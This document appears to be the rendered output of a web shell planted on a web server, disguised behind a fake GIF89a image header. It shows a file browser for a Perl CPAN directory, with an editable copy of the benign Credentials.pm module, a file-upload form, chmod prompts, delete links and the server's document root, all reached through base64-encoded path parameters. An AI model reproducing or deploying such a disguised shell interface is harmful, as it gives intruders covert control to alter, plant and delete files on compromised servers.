GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>Credentials.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9DUEFOL0hUVFA%3D&f=Q3JlZGVudGlhbHMucG0%3D"><input name="f" value="Credentials.pm"><textarea name="t"># -*- Mode: cperl; coding: utf-8; cperl-indent-level: 4 -*-
# vim: ts=4 sts=4 sw=4:
package CPAN::HTTP::Credentials;
use strict;
use vars qw($USER $PASSWORD $PROXY_USER $PROXY_PASSWORD);

$CPAN::HTTP::Credentials::VERSION = $CPAN::HTTP::Credentials::VERSION = &quot;1.9601&quot;;

sub clear_credentials {
   clear_non_proxy_credentials();
   clear_proxy_credentials();
}

sub clear_non_proxy_credentials {
    undef $USER;
    undef $PASSWORD;
}

sub clear_proxy_credentials {
    undef $PROXY_USER;
    undef $PROXY_PASSWORD;
}

sub get_proxy_credentials {
    my $self = shift;
    if ($PROXY_USER &amp;&amp; $PROXY_PASSWORD) {
        return ($PROXY_USER, $PROXY_PASSWORD);
    }
    if ( defined $CPAN::Config-&gt;{proxy_user}
            &amp;&amp; $CPAN::Config-&gt;{proxy_user}
    ) {
        $PROXY_USER = $CPAN::Config-&gt;{proxy_user};
        $PROXY_PASSWORD = $CPAN::Config-&gt;{proxy_pass} || &quot;&quot;;
        return ($PROXY_USER, $PROXY_PASSWORD);
    }
    my $username_prompt = &quot;\nProxy authentication needed!
 (Note: to permanently configure username and password run
   o conf proxy_user your_username
   o conf proxy_pass your_password
     )\nUsername:&quot;;
    ($PROXY_USER, $PROXY_PASSWORD) =
        _get_username_and_password_from_user($username_prompt);
    return ($PROXY_USER,$PROXY_PASSWORD);
}

sub get_non_proxy_credentials {
    my $self = shift;
    if ($USER &amp;&amp; $PASSWORD) {
        return ($USER, $PASSWORD);
    }
    if ( defined $CPAN::Config-&gt;{username} ) {
        $USER = $CPAN::Config-&gt;{username};
        $PASSWORD = $CPAN::Config-&gt;{password} || &quot;&quot;;
        return ($USER, $PASSWORD);
    }
    my $username_prompt = &quot;\nAuthentication needed!
     (Note: to permanently configure username and password run
       o conf username your_username
       o conf password your_password
     )\nUsername:&quot;;

    ($USER, $PASSWORD) =
        _get_username_and_password_from_user($username_prompt);
    return ($USER,$PASSWORD);
}

sub _get_username_and_password_from_user {
    my $username_message = shift;
    my ($username,$password);

    ExtUtils::MakeMaker-&gt;import(qw(prompt));
    $username = prompt($username_message);
        if ($CPAN::META-&gt;has_inst(&quot;Term::ReadKey&quot;)) {
            Term::ReadKey::ReadMode(&quot;noecho&quot;);
        }
    else {
        $CPAN::Frontend-&gt;mywarn(
            &quot;Warning: Term::ReadKey seems not to be available, your password will be echoed to the terminal!\n&quot;
        );
    }
    $password = prompt(&quot;Password:&quot;);

        if ($CPAN::META-&gt;has_inst(&quot;Term::ReadKey&quot;)) {
            Term::ReadKey::ReadMode(&quot;restore&quot;);
        }
        $CPAN::Frontend-&gt;myprint(&quot;\n\n&quot;);
    return ($username,$password);
}

1;

</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl/5.38.2/CPAN/HTTP<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9DUEFOL0hUVFA="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9DUEFOL0hUVFA=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9DUEFO"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9DUEFOL0hUVFA=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9DUEFOL0hUVFA=&x=Q2xpZW50LnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9DUEFOL0hUVFA=&f=Q2xpZW50LnBt"/>Client.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9DUEFOL0hUVFA=&f=Q2xpZW50LnBt&c=`+btoa(c):0" value="0644"></td><td>7976</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9DUEFOL0hUVFA=&x=Q3JlZGVudGlhbHMucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9DUEFOL0hUVFA=&f=Q3JlZGVudGlhbHMucG0="/>Credentials.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9DUEFOL0hUVFA=&f=Q3JlZGVudGlhbHMucG0=&c=`+btoa(c):0" value="0644"></td><td>2633</td></tr></table>